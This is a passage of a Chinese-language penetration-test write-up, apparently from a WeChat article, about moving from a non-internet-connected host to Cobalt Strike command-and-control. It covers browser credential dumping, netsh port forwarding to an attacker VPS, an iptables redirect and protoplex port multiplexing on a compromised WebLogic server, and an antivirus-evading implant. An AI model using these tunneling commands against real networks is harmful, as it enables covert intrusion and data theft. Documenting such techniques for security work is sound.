normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">1、突破网段</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">通过<strong>浏览器凭证dump工具dump出citrix云桌面的账号密码以及登录地址</strong>。挂上代理<strong>直接下载citrix连接工具拨过去即通过vpn突破至了另一个带域的网段</strong>，且<strong>该网段</strong><span style="color: rgb(255, 0, 0);"><strong>不出网</strong></span>。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">2、上线不出网主机</h4><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">由于我们控制不出网主机目前是以citrix云桌面控制的，如果在白天我们肯定不能这样操作的，因为这些机器都是有主的，<strong>白天都是有人使用这些机器</strong>，因此我们需要想办法把他上线到cs上，这样我们白天的时候也可以打内网了，以下把不出网主机<strong>命名为A</strong>。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h5 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">路径一</h5><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">首先尝试了A与我控制的出网主机是否连同，最后发现主机和我控制的一台出网机器B可以ping可以通。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">因此我首先尝试<strong>netsh将所有访问B的53端口的流量都转到vps的8080端口</strong>，随后我<strong>用A的certutil访问B的53</strong>，发现并不连通。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">后来我又<strong>把53换成了110、80、7001发现都不行</strong>，再后来我又<strong>把A和B的主机防火墙全部关闭，发现还是不行</strong>。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">可以大致判断是网络端做了限制。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">netsh interface portproxy add v4tov4 listenport=53 listenaddress=0.0.0.0 connectport=8080 connectaddress=xxx.xxx.xxx.xxx<br/></code></pre><h5 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></h5><h5 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">路径二</h5><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">由于出网机器B性质为个人开发的pc，因此从A访问B的所有端口都不通是符合逻辑的。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">这时我想到了之前控制的一批开发网内的服务器，按理说服务器的端口应该是对大家开放的，因此我控制A的certutil访问了之前打下来的一个weblogic服务器(linux)的7001端口，这里把这台weblogic命名为C，果然能够请求到内容。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">然后我使用C的curl了B机器的53，发现访问到了vps的8080端口。证明了C和B是通的。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">此时由于我当时获得的weblogic并非root权限，所以没使用iptables转发，而是使用了一款<strong>名为</strong><strong>iox的工具</strong>做转发，将所有发向C的7003端口的流量转发到B的53端口。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="font-weight: normal;">然后使用A机器certutil访问C的7003，发现不通。然后我在C上执行</span><span style="font-weight: bold;"><span style="text-decoration: underline;">c</span><span style="text-decoration: underline;">url 127.0.0.1:7003</span></span>，发现流量转发是成功的，可以访问到vps的8080端口。那么很显然限制还是出在网络层。于是我更换C的7003端口为80、8080、53、110等端口尝试bypass，结果都失败了。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">于是我又更换了数台服务器进行操作，发现都是不行，<strong>于是这条路径又失败了</strong>。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h5 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">路径三</h5><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">此时，突然想到了之前在<strong>“零队”</strong>公众号上看到的一篇文章：<strong>“frsocks+protoplex+流量重定向实现端口复用”</strong>。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">又看了一次文章后突然<strong>茅塞顿开</strong>：A可以访问C的7001端口，而C的7001端口使用的是http协议，而如果我在weblogic上做一个端口复用，将访问7001端口的http协议转发到127.0.0.1的7001端口也就是其本身，将访问7001端口的tls协议流量转发到B的53端口。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">然后我的马使用https上线到C的7001端口岂不是就出来了？</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">C机器执行：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">iptables -t nat -A PREROUTING -p tcp -m tcp  -s B所在的b段ip/16  --dport 7001 -j REDIRECT --to-ports 9999<br/>./protoplex --http 127.0.0.1:7001 --tls Aip:53 -b cip:9999<br/></code></pre><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">上面执行的命令解释一下为：</p><ol style="list-style-type: decimal;" class="list-paddingleft-2"><li><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">B机器所在B段的ip在访问C的7001端口时会被重定向到9999端口</p></li><li><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">protoplex软件监听c的9999端口将9999端口的流量进行分流，http的转发到127.0.0.1上，tls转发到A机器的53端口。</p></li></ol><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">上面两句命令有很多门道，首先<strong>iptables的--to-ports 9999</strong>是在哪个时间段修改了数据包目的端口为9999。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.24077328646748683" style="height: auto !important;" data-type="png" data-w="1138" src="https://wechat2rss.xlab.app/img-proxy/?k=87ce2134&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw4OyVn643ntcjuibLxb8J0TiaeBlY6gsh9eP5OYqf5W9Fn0l5L4P0RGdNA0CeuXqRzytB3QVjic8eFw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">关键点在于iptables将dport修改为9999是在数据包进入本机修改的还是未进入本机修改的。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">如果未进入主机修改的，那么就等于目的访问地址为:Cip:9999。而进入本机的话再修改目的端口的，目的地址就为本机的127.0.0.1:9999，是可以访问通的。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">当然我之前也不清楚是哪种，不过最后我成功了，就说明<strong>-j REDIRECT</strong>实现的是第二种，也就是先进入本机然后再修改目的端口。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">而至于protoplex的命令为什么把--http后的目的地址写为127.0.0.1:7001而不是Cip:7001，是因为Cip包含在B所在的b段ip/16中，如果那样写数据包会一直循环，导致目标的http异常。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">./protoplex --http 127.0.0.1:7001 --tls Aip:53 -b cip:9999<br/></code></pre><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">因此通过上面的两条命令，我成功达到了客户访问其服务器业务正常，而我的马同样也可以从A-&gt;C（7001端口tls协议）-&gt;B（53端口）-&gt;C2:7001端口：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.014629049111807733" style="height: auto !important;" data-type="png" data-w="1914" src="https://wechat2rss.xlab.app/img-proxy/?k=96ee9a35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxw4OyVn643ntcjuibLxb8J0TtGoibbqymRFfP3BCzdRXzQT4D6EWpCJSkKtXibmbrwh67d5z3JWr0ZjA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">然后启动一个https的监听器，ip填为C的ip，端口为7001。再制作一个免杀马，在不出网的A机器运行即可上线成功：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 